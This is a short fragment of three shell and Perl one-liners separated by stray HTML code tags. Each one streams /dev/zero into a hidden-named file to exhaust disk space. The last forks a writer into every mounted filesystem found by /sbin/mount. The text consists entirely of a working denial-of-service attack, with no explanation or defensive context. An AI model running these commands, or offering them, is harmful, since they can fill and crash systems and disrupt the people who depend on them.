cat /dev/zero > /tmp/.#overflow#

##</code><code>##

perl -e 'open T,">/tmp/.#overflow#";open F,"</dev/zero";while(<F>){print T;};'

##</code><code>##

perl -e 'open M,"/sbin/mount|grep -v':'";while(<M>){($m)=split($_);if(fork){open Z,"</dev/zero";open F,">$m/.#overflow#";while(<Z>){print F}}};'